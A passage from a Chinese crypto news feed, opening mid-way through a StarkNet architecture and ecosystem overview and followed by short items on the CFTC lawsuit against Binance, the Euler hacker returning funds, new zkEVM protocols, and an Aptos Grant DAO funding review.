来为交易生成有效性证明，对开发者有一定的学习门槛。 2.2.2 Cairo 编程语言 Cairo 为 StarkWare 团队于 2020 年发布的图灵完备编程语言，让不了解 STARK 的开发者也能够 Cairo 来使用 STARK 实现可验证计算。 在现存的多数证明系统中，对于每一个业务逻辑，即每一次计算，都需要生成一组代表特定计算的多项式约束，其困难在于如何将多样化的智能合约的执行结果统一成可以验证的多项式方程。 通过 Cairo 编写的程序，可以将计算结果通过 STARK 证明器直接转化成可证明的多项式方程，由此让智能合约与零知识证明实现良好的兼容性。 Cairo 是为 STARK 而生的编程语言，两者相结合可以最大程度释放 STARK 的潜力，但其与 EVM 生态的割裂一直是需要被解决的问题。 EVM 兼容是各种 zk 扩容方案争抢的高地，StarkWare 团队也在为此努力。2022 年 10 月末，StarkNet 便宣称使用 Cairo 开发出 ZK-EVM，同时以太坊客户端 Nethermind 正致力于开发 Solidity 到 Cairo 的编译器 Warp，以实现 StarkWare 对 EVM 的兼容性。 团队宣称目前 Wrap 已经支持将 Uniswap V3 重写为 Cairo 代码。随着 StarkNet 真正投入生产环境，不同方案兼容性的实际效果将会得到检验。 2.2.3 SHARP 共享证明器 SHARP 即共享证明器 (SHARed Prover)，是 StarkEx 和 StarNet 生成零知识证明的 Prover。 SHARP 可同时为 StarkEx 和 StarNet 生成有效性证明，因此可以聚合不同的 StarkEx 应用以及 StarkNet 上发生的交易，并在一个单一的 STARK 证明中证明，以此实现更快填满 STARK 证明的容量，从而提高交易处理速度和降低延迟。 递归证明是下一代前沿技术，不仅适用于一些硬编码逻辑，而且适用于通用计算。SHARP 与 STARK 结合后，能够让整个 StarkWare 生态内的交易良好实现递归的性质，带来极致的可拓展性。 2.2.4 多样化数据可用性 有效性证明的一般逻辑是「链下计算-生成 zk 证明-链上验证」，即用户在 Layer2 上发送交易->Sequencer 收集进行排序和执行，计算完成后的交易将递交 Prover->Prover 生成有效性证明，递交给主网上的 Verifier 合约->Verifier 合约对证明的有效性进行验证，若验证通过，则状态被主网确认。 数据可用性：在 Rollup 模式下，Prover 生成的证明被验证后，新状态获得有效性，状态的具体信息（如账本余额）将被写进主网，用户可以无需信任地基于被主网确认过的状态信息发起新的转账，因为主网有最新的用户余额，即数据可用性在链上。 实际上，主网消耗的 gas 成本大部分用于数据可用性的储存，而非验证证明，即主网拥有数据可用性将产生大量成本。 因此 StarkNet 提出了将数据可用性转移到链下储存的方案 Validium，链上只保存被验证过的状态的哈希值。 该方案中，数据可用性由数据可用性委员会 (Data Availability Committee, DAC) 存储，该委员会由法定人数的独立成员组成，负责监督状态正确更新，并保留已处理数据的副本。 当用户想要在新状态下提取 Layer2 资金时，需要 DAC 签名来提供具体的账本信息。Validium 能够大幅降低 Rollup 成本，但同时其牺牲了去中心化，适合用于非重要交易的数据可用性。 基于 Rollup 和 Validium 两种基础模式，StarkWare 还提供了 Volition 模式，让用户能够在交易层级从 Validium 和 Rollup 模式之间选择数据可用性的存储方式。用户可以在每个单笔交易中选择用 Validium 或 Rollup 模式进行保存。 总结起来，StarkWare 提供的三种数据可用性（DA）模式可以让 dApp 和用户根据数据重要程度进行选择，团队称目前三种方式都已在生产中可用。但无论使用的哪一种 DA 模式，所有的交易有效性都会由 STARK 有效性证明保障。 2.3.1 StarkNet 工作流程 1. 用户发起交易，并将交易发送给 Squencer 进行验证、排序和执行，并打包批次。目前 StarkNet 系统中只有一个 StarkWare 官方掌握的 Sequencer，但 StarkWare 团队计划后续将 Squencer 去中心化；Squencer 通过 Cairo OS 来执行交易，扮演了 EVM 的角色。 2. Squencer 将执行交易的踪迹递交给 Prover，由 Prover 对计算完整性生成一个有效性证明。执行踪迹是生成 zkp 的核心，记录执行踪迹是 Cairo 语言的 zk 友好特性；这里的 Prover 也为 StarkEx 生成有效性证明，且可以聚合来自不同 StarkEx 应用和 StarkNet 的交易，实现共享。 3. Squencer 和 Prover 将有效性证明和全局状态变化发送给全节点进行记录。全节点基于 P2P 网络构建，负责记录整个 Layer2 网络的交易历史和以太坊主网上与 Layer2 相关的交易。 4. Prover 将有效性证明递交给主网上的 Verifier。Verifier 是部署在以太坊主网上的智能合约，负责收取并验证 Prover 提供的有效性证明。 5. Verifier 将验证过的结果发送至主网上的 StarkNet Core 合约进行记录和保存。StarkNet Core 合约部署在以太坊主网上，用于接收 Layer2 全局状态变化信息，包括状态哈希以及数据可用性；经过 Verifier 验证过的结果是一串状态哈希，由 Verifier 写入一笔新的 Layer1 交易，并传递给 Core 合约进行保存。 6. StarkNet Core 合约接收到验证结果（状态哈希）后，从 Layer2 接收「Call data」形式的数据可用性并保存。该数据会同步给 Layer2 的全节点进行解码，以保证全节点能够记录和重建 Layer2 的历史交易；在 Validium 方案中，StarkNet Core 合约不保存数据可用性，仅保存状态哈希。 2.3.2 StarkEx 工作流程 1. 用户在应用内发起交互，由应用执行并生成交易，这些交易会被应用直接发送给 StarkEx 服务器。StarkEx 服务器是 StarkEx 为某应用定制的 Cairo 程序 2. StarkEx 服务器分批打包交易，并发送给 SHARP Prover，并生成有效性证明 3. Prover 将生成的有效性证明发送至链上的 Verifier 进行验证 4. 当验证通过后，Verifier 向 StarkEx 合约发送状态哈希；StarkEx 服务器将向主网上的 StarkEx 合约发送更新的整个状态 在整个过程中，用户与应用的交互在链下进行，应用向 StarkEx 服务器发送交易的过程在链上进行。 StarkNet 是 StarkWare 推出的通用型 Layer2，其采取有效性证明方案来获得主网的安全性，在赛道上属于 zk-rollup。 「zk-rollup 与 op-rollup 谁将占领未来」是一个老生常谈的话题，主流观点是 op-rollup 因为其技术实现难度小，EVM 兼容性好，将在短期占据主导地位； 在长期，伴随着以太坊生态的进一步爆发，op-rollup 的交互式方案将会受到局限，zk-rollup 会凭借有效性证明的非交互性以及简洁性占据主导地位。 在 zk-rollup 的细分赛道中，StarkNet 并没有在火热的 zkEVM 方向上冲锋在前，而是通过 STARK+Cairo 开辟了一条新的道路，致力于将有效性证明技术发挥到极致，催生 StarkNet 原生的生态。 目前，整个 Web3 还并未实现 mass adoption，StarkNet 的生态也仅仅是初现雏形，交易量稀少让 StarkNet 难以积攒足够数量的交易来均摊有效性证明的成本，导致 StarkNet 的交易确认时间较长，无法发挥极致的可拓展性。 但随着 Web3 的渗透率逐步上升，StarkNet 会凭借其独特的技术优势承接大量用户与交易，为以太坊生态带来多样性的同时，让更多用户享受到良好的 Web3 体验。 StarkNet 官方显示：基于 StarkNet 部署并上线的项目有 100+个，其中 53 个已经上线主网，涵盖钱包、DID、跨链桥、DID、DeFi、NFT、Game 等多种项目类型。 以下将选取重点类型中的重点项目进行介绍。更多项目可通过 StarkNet 生态列表自行了解。 https://www.starknet-ecosystem.com/en 3.1.1 Argent X Argent X 是由 Argent 推出的 StarkNet 钱包，也是第一个支持 StarkNet 的钱包，其利用 StarkNet 原生的账户抽象特性来实现多重签名和无助记词特性，同时借助 StarkNet 优秀的性能实现更低的交易费用和更快的确认时间进行交易。 Argent X 的用户可以通过 ios 和谷歌插件两个方式使用 Argent。其内置的交换、质押、借贷等 DeFi 功能让用户能在钱包里完成 DeFi 的一站式操作。 Argent 还提供生物特征验证、守护者机制等功能让用户获得 web2 体验。Argent X 的合约安全性已经过 Trail of Bits, Solidified and G0 Group 三家审计公司的认证。 Argent 于 2022 年 4 月获得 4000 万美金的 B 轮融资，由 Fabric Ventures 和 Metaplanet 领投。 3.1.2 Bravvos Bravvos 同样是一个运行在 StarkNet 上自托管账户抽象钱包。Bravvos 致力于提供提供无缝的 Web2.0 用户体验，可在 iOS、安卓以及多种浏览器上使用，同时消除了助记词，让用户能够恢复账户。 Bravvos 也计划提供类似质押、借贷等 DeFi 服务。Braavos 还支持账户分割，通过支持提现限制和提现延迟时间，将长期（高金额）储蓄和日常（低金额）消费分开，并让用户能够查看每笔交易的明细，实现精细化管理链上资金。 Bravvos 于 2022 年 10 月宣布完成 1000 万美金融资，由 Pantera Capital 领投。 3.2.1 StarkGate StarkGate 是由 StarkWare 开发的以太坊↔Starknet 官方跨链桥，帮助用户在以太坊和 StarkNet 间实现 ETH 和 ERC-20 代币的跨链交易。 StarkGate 与以太坊之间的桥接器通过 StarkNet 的消息传递机制进行通信，并基于 STARK 的计算压缩能力实现低成本交互。 3.2.2 Orbiter Finance Orbiter Finance 是一个去中心化的跨 Rollup 桥，能够让用户在 ETH 主网、StarkNet、 zkSync、Loopring、Arbitrum、Optimism、Polygon、ZKSpace、Immutable X、dYdX、Metis、BNB Chain 和 Boba 之间进行资产跨链。 Orbiter 桥通过独特的做市商模式，让用户获得了手续费低、速度快等优秀体验，但其目前仅支持 ETH、USDC、USDT、DAI 四个币种的转账。 Orbiter 于 2022 年 11 月完成首轮融资，Tiger Global、Matrixport、A&T Capital、StarkWare、Cobo、imToken、Mask Network、Zonff Partners 等参投，融资金额未披露。此外，Vitalik 还曾向其捐赠 16 ETH。 3.3.1 StarkNet ID StarkNet.id 是 StarkNet 的域名服务（.stark），让用户免费铸造基于 StarkNet 的去中心化身份。 用户还可以将任何数据附加到 Starknet 身份上，包括从 Web2 的社交媒体帐户到 Web3 的 ENS 域名等身份标签，团队后续计划推出配套 StarkNet 身份仪表盘和更多功能，让用户能够更容易管理和构建更加全面的去中心化身份系统。 根据数据显示，目前被铸造出的 StarkNet.id 的总量 148.05K，持有用户数 85.28K，地板价为 0.015eth 左右，总交易量 1.16eth（2023.3.26）。 3.3.2 WIW Protocol WIW 是一个注重隐私保护的链上身份协议，能够根据用户链上行为生成对应标签，帮助用户构建身份系统，主要涵盖三个应用场景： 3.4.1 10KSwap 10KSwap 是部署在 StarkNet 上的第一个开源 AMM 协议，旨在利用 rollup 的性能为 AMM 协议的性能，为 L2 世界带来更低的费用、更少的摩擦以及更好的流动性。 目前 10KSwap 支持了 ETH、USDC、DAI、WBTC、USDT 五种代币间的 swap，与传统 swap 类似，用户也可以向 10Kswap 提供流动性来赚取做市收益。 目前，10Kswap 的流动性约为 120w 美金，日交易量约为 82.86w 美金（2023.3.26），仍然处于早期阶段。 3.4.2 Nostra Nostra 是基于 StarkNet 部署的去中心化借贷协议，是 StarkNet 首款支持闪电贷的协议，也提供了 StarkNet 第一个原生稳定币$UNO。Nostra 旨在构建 StarkNet 的流动性层，由三个产品组成：Nostra 货币市场、UNO、Nostra Swap： 3.4.3 ZKX ZKX 是 StarkNet 上第一个具有自我托管和社区治理的永续期货交易平台。该协议旨在通过分散的节点网络和升级的交易体验提供进一步的可扩展性，并向 StarkNet 和以太坊上的任何用户提供永续掉期和衍生品。 ZKX 出台了一系列措施来鼓励用户进行交易，包括交易和质押赚取 USDC，提高交易量解锁 ZKX 高级功能等。ZKX 于 2022 年 7 月宣布完成了 450 万美金种子轮融资，投资方包括 StarkWare、Alameda Research、Huobi、Amber Group 和 Crypto.com 等。 3.5.1 Aspect Aspect 是 StarkNet 生态中首个 NFT 交易平台，于 2022 年 8 月推出，用户可以在该平台上铸造、上传和买卖 NFT。目前其交易量仍然较小，处于早期阶段。 3.5.2 Mint Square Mint Square 是另一个基于 StarNet 上的 NFT 创作与交易平台，致力于为用户提供更便宜、更快确认速度的 NFT 交易体验，其同时也部署在 zkSync Era 上。目前其交易量略高于 Aspect，但也比较早期。 3.6.1 cartridge.gg StarkNet 上的链游集成平台，类似 Web2 中的 Steam 游戏商城。一方面，Cartridge 能够帮助用户筛选链游、与好友进行互动。 另一方面，Cartridge 作为链游基础设施也能够结合 DID、钱包等，为玩家提供更加丰富的链上体验。 3.6.2 Briq Briq 是构建在 StarkNet 上的 3D 方块构建 NFT 类型链游，允许任何人构建单独虚拟世界存储链上，用户可以使用 Briqs 建造 ERC-1155 标准的 NFT、构建链游。目前 Briq NFT 的总铸造数量为 119.11K，持有用户数 98.43K，地板价约为 0.12eth，总交易量 98.57eth（2023.3.26）。 3.6.3 Influence Influence 是一款沉浸式太空战略沙盒 MMO，项目代币 $SWAY。玩家拥有专属的小行星，通过操纵不同职业的船员，进行采矿、建筑、贸易、研究、战斗等。 目前 Influence 已进行三轮有奖测试，正在持续积极开发中，发布日期尚未最终确定。目前 Influence Asteroids 资产的总交易量微 1384eth，地板价 0.0349eth（2023.3.26）。 3.6.4 lootrealms Loot Realms 由游戏工作室 Bibliotheca DAO 开发，是一个大型多人、链上可组合的策略类游戏生态，代币 $LORDS。 玩法类似于 Web2 的军事沙盘游戏，如 EVE、率土之滨等，玩家需要搭建可持续的经济系统来生产资源，还要通过构建军事力量保护与争抢资源。LootRealms 游戏世界由 8000 个 Realms（领土）组成，目前 Realms 总交易量 6532eth，地板价 0.4799eth（2023.3.26）。 StarkNet 凭借其强大的技术优势和资本加持，在 Layer2 方案中走出了独特的道路。其通过 STARK+Cairo 充分激发了有效性证明的潜力，在处理大量交易时能够相对其他方案更加游刃有余。 StarkNet 暂时放弃了良好的 EVM 兼容性，但这也意味着 StarkNet 能够摆脱 EVM 框架的束缚，获得更加灵活的开发体验，吸引多元化的开发者。 在长期来看，其更有潜力来承接生态的爆发，同时也将为以太坊生态带来多元化的特性。目前，StarkNet 的生态已经初现雏形，但仍处于早期阶段，这对用户来说也是不错的入局机会。 参考材料 [1] https://starknet-zh.notion.site/StarkNet-ca5af6495c3642e6b48424202fbec3d1 [2]https://www.starknet-ecosystem.com/en [3]https://foresightnews.pro/wiki/project/8577 [4] https://docs.starkware.co/starkex/overview.html [5]https://foresightnews.pro/article/detail/22987 [6]https://mirror.xyz/0xd05cFA28Eaf8B4eaFD8Cd86d33c6CeD1a1875417/vyTBBINJw5zdnXA8wLb Nqd3nORWAa3yoizubluJ6VTE [7] https://xueqiu.com/1903522932/222836004 [8]https://www.panewslab.com/zh/articledetails/jt8b7qkk.html [9]https://david-barreto.com/starknets-architecture-review/#more-4602  ( 11 min )
    彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资
    PANews 3月28日消息，据彭博社报道，中国香港监管机构正在召集加密公司和银行家之间的会议，以促进该行业的融资。 据该媒体看到的活动细节，圆桌会议将于4月28日在香港金融管理局举行，“以促进直接对话”和 “分享开设和维护银行账户的实际经验和观点”。该会议将由香港金融管理局和证券及期货事务监察委员会联合举行，这两个监管机构负责监督稳定币和加密货币交易所。 香港金管局和证监会的发言人表示，他们不会就任何细节发表评论，但补充说，他们正在与利益相关者保持对话。  ( 4 min )
    速览美CFTC起诉币安及赵长鹏的十大要点
    原文：《IN THE UNITED STATES DISTRICT COURTFOR THE NORTHERN DISTRICT OF ILLINOIS》 编译：麟奇，ChainCatcher 原告商品期货交易委员会（“CFTC”或“委员会”），一个独立的联邦机构，就其针对被告 Changpeng Zhao（“Zhao”）、Binance Holdings Limited、Binance Holdings (IE) Limited、Binance (Services) Holdings Limited（统称为“币安”或“币安平台”）以及Samuel Lim（“Lim”）（统称为“被告”）的诉讼，指控如下： 1. Binance是全球最大的中心化数字资产交易所，由多个不透明的企业实体组成，最终由Binance首席执行官赵长鹏控制。Binance的大部分交易量和盈利来自美国，包括涉及商品的数字资产现货和衍生品交易。 2. 自2019年7月起，Binance在赵长鹏的指导和控制下，以及在Lim的故意和大量协助下，开始向美国客户招揽和接受订单，接受保证金，并为涉及比特币（BTC）、以太坊（ETH）和莱特币（LTC）等商品的数字资产期货、期权、掉期和杠杆零售商品交易提供交易设施。 3. 自2017年平台启动以来，Binance采取了精心策划的分阶段方法来扩大其在美国的市场份额，尽管其公开表示试图阻止或限制美国客户访问其平台。Binance最初针对美国的战略侧重于招揽零售客户。在后期阶段，Binance越来越依赖美国的人员和供应商，并积极培养有利可图且具有商业重要性的“VIP”客户，包括位于美国的机构客户。 4. 被告忽视了适用的联邦法律，同时鼓励Binance的美国客户基础，因为这样做对他们来说是有利可图的。例如，根据Binance 2020年8月的文件，该平台从衍生品交易中赚取了6300万美元的费用，约16%的账户由Binance确认为位于美国的客户。到2021年5月，Binance从衍生品交易中赚取的月收入增加到了11.4亿美元。Binance将商业成功置于遵守美国法律之上。 5. Binance故意掩盖运营交易平台的实体的身份和位置。例如，Binance的“使用条款”声称是与“Binance运营商”之间的合同，这个术语没有具体含义。在相关时期，Binance在新加坡、马耳他、迪拜和东京等地设有办事处，但有意不披露其执行办事处的位置。相反，赵长鹏表示Binance的总部是他随时所在的地方，这反映了试图逃避监管的故意策略。 6. 赵长鹏、Lim和Binance的其他高级管理人员未能妥善监督Binance的活动，实际上还积极促使违反美国法律，包括协助和指导位于美国的客户绕过Binance实施的合规控制。Binance及其高管、员工和代理人指导美国客户使用虚拟专用网络（VPN）来掩盖其位置；允许未提交身份和位置证明的客户在宣布禁止此类行为后继续在平台上交易；并指导在美国的VIP客户以新成立的空壳公司名义开设Binance账户，以逃避Binance的合规控制。 7. 尽管Binance依赖位于美国的客户来产生收入并为其各种市场提供流动性，但Binance从未在CFTC注册过，并无视了美国金融市场的完整性和活力所需的联邦法律，包括要求实施防止和检测洗钱和恐怖主义融资控制的法律。 8. 在相关时期，通过Binance平台的运作，被告Binance在Lim和赵长鹏的协助下违反了CEA和法规的核心条款。 9. 除非受到法院的限制和禁令，被告可能会继续从事本诉讼中所述的行为和类似行为。 10. 因此，CFTC根据《商品交易法》第6c条提起本诉讼，以制止被告的非法行为，并强制其遵守法律。此外，CFTC还寻求民事罚款和补救性附带救济，包括但不限于交易和注册禁令、追偿、利息以及法院可能认为必要和适当的其他救济。  ( 4 min )
    EOS EVM最终测试网已上线
    PANews 3月28日消息，据官方推特，EOS网络基金会宣布EOS EVM最终测试网已上线，随着安全审计的进行，EVM主网也即将准备就绪。 此前消息，EOS EVM主网Beta发布时间为4月14日。  ( 4 min )
    知情人士：迪士尼预计裁员7000人，包括裁撤元宇宙部门
    PANews 3月28日消息，据华尔街日报报道，知情人士透露，迪士尼已开启首轮裁员，预计裁员7000人，这是其2月宣布的55亿美元成本削减计划的关键部分。第一批员工将在未来四天内收到裁员通知，第二轮规模更大的裁员将在4 月份进行，将影响数千名员工，其中裁员计划的一部分是裁撤元宇宙部门，该团队的大约50名成员将全部被裁。  ( 4 min )
    数据：Euler黑客另一个地址再次返还7738枚ETH，今日返还资产共计4100万美元
    PANews 3月28日消息，据派盾预警监测，除今日早些时候报道的Euler Finance攻击者通过0x8765开头和0xa1b4开头的地址今日向Euler部署者账户返还了15476.1枚ETH和1070万枚Dai外，该攻击者还通过0xc4e04的地址向Euler部署者账户返还了7738.05枚ETH。即黑客今日共计返还了23214.15枚ETH和1070万枚Dai，约合4100万美元。 此外，0xa1b44已将2000万枚DAI转移到一个中间地址0x0d1b...843，该地址将300万枚DAI转移到Euler：Multisig 2地址。  ( 4 min )
    一文盘点10个新型原生zkEVM协议
    撰写：Asif Khan 编译：深潮 TechFlow zkEVM 向我们释放了一个新的生态系统，它建立在最前沿的 zk 执行层上。但更重要的是，现在我们需要提前了解在该层上即将推出的优质的 DeFi dapps，以先人一步。本文将分享一些还没有发行代币的新型原生 zkEVM 协议，未来它们完全有机会成为市场的主流。 订单簿永续合约将成为以太坊 L2s 的重要力量。Satori Finance 拥有一个团结紧密且勇于挑战极限的团队。他们完成了 1000 万美元的融资。他们的特色是链下匹配引擎和链上结算。 Clober 与订单簿论点相一致，Clober 是唯一全链 EVM 订单簿。 它使用了一种名为“LOBSTER”的新算法，用于高效订单匹配，以实现链上订单匹配和链上结算。 Mantis Swap Mantis Swap 是一种新型的稳定币交换 AMM，通过独创的单边质押实现了突破。 D8X D8X 正在推出一个基于池对手方的最前沿永续合约引擎。它主要产品是动态 AMM 定价模型，可确保： 1. 执行价格最低； 2. AMM LP 风险降低； 3. LP 的资金费率配置文件增加。 Syn Futures Syn Futures 是另一家 Polygon 原生的永续合约平台。v1 名义上的交易量已接近 190 亿美元。如今，该团队已经筹集了 1400 万美元的资金，并将很快发布 v2 版本，以便提供 NFT 杠杆交易。 Timeswap Labs TimeswapLabs 可能是空间中最聪明的 DeFi 协议之一。想象一下完全在链上且不需要预言机的流动性借贷市场，好吧，你不必想象，TimeswapLabs 已经到来。Timeswap 也可以成为构建期权产品的基本构件。 Polymarket 最近在社区圈子里大放异彩。它围绕 Arbitrum 空投、Balaji 预测等活动话题，吸引了所有人的注意力。在我看来，Polymarket 可能在未来几个月成为领域中最大的 dApps 之一。 0Vix 0Vix 正在通过使用 PolygonID 的原生 zk，将链上借贷推向下一阶段。但其主要的杀手级功能是动态利率曲线。我肯定会押注他们成为 zkEVM 借贷市场的领导者。 Quickswap Quickswap，Polygon 上原生的 OG 协议，过去六个月一直在疯狂增长： QiDao QiDao 是 Polygon 上的 OG 稳定币协议，他们的推出速度令人难以置信，并保持着去中心化稳定币领域最稳定的锚定价。 许多团队都想成为全链稳定币，但 Mai 已经实现了这个目标，未来发展前景可期。 zk L2s 的新时代已经来临，我们需要仔细关注。这个领域已经取得了以往不可及的流动性，现在是将其用于创新 DeFi 的真正肥沃土地的时候了。  ( 5 min )
    CFTC杀意袭来，CZ或被“一剑封喉”？
    作者：Cinneamhain Ventures 合伙人 Adam Cochran 编译：Moni 就在TikTok首席执行官周受资结束了美国国会“灵魂拷问”之后，3 月 27 日晚间，彭博社披露美国商品期货交易委员会（CFTC）在芝加哥联邦法院对加密货币交易平台币安及其首席执行官 CZ、第一任首席运营官 Samuel Lim 提起诉讼。 Cinneamhain Ventures 合伙人 Adam Cochran 在社交媒体上对美国商品期货交易委员会长达 74 页的起诉书进行了分析解读，Odaily星球日报进行编译如下： 1、美国商品期货交易委员会正试图对币安进行“致命”打击，甚至有可能推翻币安帝国。首先，也最关键的一点是，CFTC 认为自 2017 年推出平台以来，尽管币安公开表示其意图“阻止”或“限制”位于美国的客户访问其平台，但其实采取了一种有计划的、分阶段的方法来增加其在美国的影响力。初始阶段，币安战略性地略瞄准美国的零售客户。后期，币安越来越依赖美国的人员和供应商，积极培育利润丰厚、具有商业重要性的“VIP”客户，包括位于美国的机构客户。 2、CFTC 指出，币安培养美国客户群，因为这样做对他们来说是有利可图的，而且币安内部报告也透露其产品收入来自于“他们所知道的”美国客户。 3、币安、CZ 和 Samuel Lim 都被列在 7 项违反 CEA/CFC/USC 的行为中，CFTC 还暗示所有币安实体都在“CZ”控制之下，此案旨在揭开币安公司架构神秘面纱，尤其是专门针对币安的美国交易机构 Merit Peak 和 BAM（Binance.US）。 4、CFTC 甚至还获得了关于这些问题的 CZ 聊天记录和其他文件。 5、CFTC 还追踪币安涉嫌操纵和自我交易的情况，声称 CZ、Merit Peak 和 Sigma 拥有的 300 多个“内部账户”用于自营交易，并指出币安没有采取合理的反欺诈或反操纵措施。 6、CFTC 还特别与 Trust-Wallet、Binance Labs（由于其在美国有业务）、以及许多在美国有业务的币安员工联系在一起，包括志愿者“Binance Angels”，以此作为美国备案的依据。 7、CFTC 认为币安及其附属实体会指定最终受益人（UBO），并通过这种方式将控制权直接交回 CZ。 8、CFTC 表示已经获得了来自内部人士的大量聊天记录和文件，表明 CZ 了解美国客户，并采取措施将其隐藏在内部文件中。 9、CFTC 将试图禁止币安、CZ 和 Lim 及其所有相关附属公司进行活动： -从事本案所述的任何行为 -来自注册实体的交易 -持有任何商品权益 -指导任何数字资产交易 -以购买或出售数字资产为目的接受任何人的任何资金 -在 CFTC 注册或豁免 -担任注册实体的负责人、高级职员或雇员 以及要求币安 -交出（以罚款形式偿还）从美国人那里获得的交易利润、收入、薪水、佣金、贷款或费用 -使所有客户都受到这些违规行为的影响 -支付法院评估的民事罚款 -就此事接受陪审团审判 10、这意味着： -Binance US 将受到巨大打击 -美国市场中最终受益人的做市商会离开币安 -美国或合作伙伴国家的币安国际支付轨道会“永远死去” -从技术上讲，CFTC可能会认为Binance international 在美国境外提供任何交易服务都是违规的 -CZ、Lim 和币安员工将不能在受监管的企业工作 -任何与美国有关系的、以美元交易的银行都不会为币安提供资金服务 -Binance Labs 将被清算 -币安可能要承担数十亿美元的罚款 币安团队将永远不会合法持有美国商品或访问美国证券 11、如果 CZ、Lim 和币安未能与美国法院接洽，并且未能在审判中为自己辩护，那么 CFTC 很可能会完胜，并且会增加一些藐视法庭/妨碍公务的刑事指控，这会将问题扩展到其他国家。如果CZ、Lim 和币安参与进来，那么就发现在审判过程中必须要向美国监管机构公开所有资料，而这可能会导致出现其他更多问题。 12、对于币安来说，一种相对安全的解决途径可能是向 CFTC 支付数十亿美元的罚款，这可能会让 CZ 等人避免认罪。 13、与美国证券交易委员会不同，美国商品期货交易委员会通常不会关注小案件，可一旦提起诉讼，结果可能是致命的。  ( 5 min )
    币安将上线LDO/TUSD、OP/TUSD、MATIC/TUSD等6个TUSD相关交易对
    PANews 3月28日消息，据官方公告，币安宣布将于北京时间3月29日16:00上线 LDO/TUSD、MATIC/TUSD、OP/TUSD、SOL/TUSD、SSV/TUSD、XRP/TUSD交易对，用户可在这些交易对享受零挂单手续费，直至另行通知。  ( 4 min )
    比特小鹿将上市纳斯达克，估值约11.8亿美元
    PANews 3月28日消息，据美通社报道，美国证券交易委员会（SEC）已宣布Bitdeer Technologies Group（BTG，比特小鹿）的F-4的注册声明生效，该表格与Bitdeer和Blue Safari之前宣布的拟议业务合并有关。 Blue Safari将于4月11日举行临时股东大会以批准业务合并等事项；合并后的公司BTG将成为纳斯达克上市公司，估值约为11.8亿美元，股票代码为“BTDR”。企业合并预计将在Blue Safari股东批准并满足委托书和注册声明中所述的其他惯例成交条件后不久完成。  ( 4 min )
    Aptos Grant DAO季度回顾：哪些早期优质项目值得关注？
    原文来源：DoraHacks Aptos 生态早期项目长期资助计划 Aptos Grant DAO 已经于 3 月 12 日完成了第二轮资助。这是一项由 DoraHacks 团队和 Aptos 联合推出的针对 Aptos 生态项目的资助计划，旨在持续为该生态中早期初创团队或开发者的优质项目提供资金帮助，进一步推动生态的蓬勃发展。 Aptos Grant DAO 首轮资助计划于 2022 年 11 月 7 日启动，截至发稿前已经完成了第二轮资助，第三轮资助也处于项目提交申请的窗口期。下文将回顾该计划前两轮的详细资助情况，同时也将探索在该资助计划下一些值得关注的早期优质项目。 在 Aptos Grant DAO 中，每一轮资助的奖金池由 BUIDLer 奖金池+社区二次方匹配资金池组成。 BUIDLer 奖金池为 4,000 枚 APT 代币，该资金池将根据评审团的评选结果来决定分配对象。评审团的评选标准主要是看该项目与 Aptos 适配度、公共产品层级、商业模式、创新性、技术性、以及前沿的区块链或密码学理论研究与应用几个方面。 社区二次方资金池也为 4,000 枚 APT 代币，这部分资金将根据二次方算法进行分配，候选项目可获得的资助金额与所获得的投票人数成正相关，越受欢迎的项目，将分配到更高额的资助金。 除此之外，由社区投票资助的资金也将进入总奖金池，这部分资金不设上下限。 基于此，在前两轮的资助中，Aptos Grant DAO 的总奖金池情况如下所示： 表 1：Aptos Grant DAO 前两轮资助的奖金池详细情况 （以上数据均来源于DoraHacks 官网） 如上表中所示，在前两轮资助中，包含 BUIDLer 资金池、二次方投票资金池以及社区投票资助在内，Aptos Grant DAO 为 Aptos 生态提供了资金规模总计为 24,137.1 枚 APT 的资助。 该项计划主要扶持的是 NFT/Gaming、DeFi、基础设施协议或工具、Move Native、社区/DAO 等几大赛道中的项目。其中，第一轮总共有 139 个项目提交了申请，最终获得资助名额的项目有 18 个；第二轮则有 235 个项目提交了资助申请，最终有 25 个项目入选，又有 8 个是第一轮资助中的入选项目。 Aptos Grant DAO 资助计划的初衷是为生态中的早期项目提供帮助，以维持持续开发和运营。在区块链行业中，当一个项目尚处于非常早期的阶段时，可能未来充满了不确定性，因此非常需要早期投资来使项目生存下来。Aptos Grant DAO 便致力于为早期优质项目提供项目开发必要的资金。同时对于投资者而言，项目处于早期则同时也意味着高风险与高回报，尤其是 Alpha 型选手会更加青睐于寻找潜力股，Aptos Grant DAO 也为他们筛选出了很好的潜在标的。 下文将通过在社区的受欢迎程度、持续开发和更新的频率、以及在生态中的需求等几个方面来探索在 Aptos Grant DAO 资助计划下，会哪些优质项目更值得我们长期持续关注。 Aptin Finance：一个基于 Aptos 构建的去中心化借贷平台。也许是因为借贷已经发展成了 DeFi 生态中不可或缺的存在，该项目在第一轮的资助中获得了较高的社区投票数，GitHub 最近一次更新时间在 3 周前，团队成员匿名。Aptin Finance 平台上线了借贷和交易功能，支持包含 APT、WETH、USDC 等在内的 6 种资产，用户不仅能在该平台中借贷，还可以直接进行代币的兑换交易。 相关链接：https://dorahacks.io/buidl/3461?roundProj=2589 Fewcha：一个纯 Move 自托管加密钱包，支持 Aptos、SUI 链上的代币、NFT 和 DeFi，最近一次 GitHub 更新时间是在 2 天前。去中心化钱包作为一条链的最大流量入口，Aptos 生态中的部分项目已经支持用户使用 Fewcha 钱包进行交互。 相关链接：https://dorahacks.io/buidl/3864?roundProj=2621 Apass：一个集去中心化 DID（去中心化身份标识）、GameFi 和 SocialFi 于一体的协议，对标以太坊生态中的 Galaxy Project。GitHub 更新频率高、推特等社交平台也在持续运营中。 相关链接：https://dorahacks.io/buidl/3699?roundProj=2471 OmniBTC：一个基于跨链互操作协议的多链金融平台，主要支持 Aptos 链和 EVM 链之间的资产跨链、交易和借贷。 相关链接：https://dorahacks.io/buidl/3697?roundProj=2466 AptoScan：一个为 Move 生态中的 Layer1 开发的链上 NFT 和资产数据分析工具，除了可以实时监控 NFT 的链上交易和持仓数据之外，用户还可以通过该平台直接购买 NFT。 相关链接：https://dorahacks.io/buidl/4166?roundProj=3159 Oi！Network：这是一个 web3 收入的移动 App，通过 web2 社交媒体和 web3 连接，允许用户将自己在社交网络上的活动货币化，从而创建互联网的激励层和任务层。品牌或项目方通过简单和标准化的 gigs 和奖金池系统，将其内容的流量、影响力和参与度发挥到最大效应。 相关链接：https://dorahacks.io/buidl/4169?roundProj=3166 Cetus Protocol：专注于 Move 生态的 DeFi 流动性协议，支持代币交易、不同链之间的资产跨链、以及流动性池子。该项目有机会发展成 Aptos 生态的大型 DeFi 协议。 相关链接：https://dorahacks.io/buidl/3754?roundProj=3016 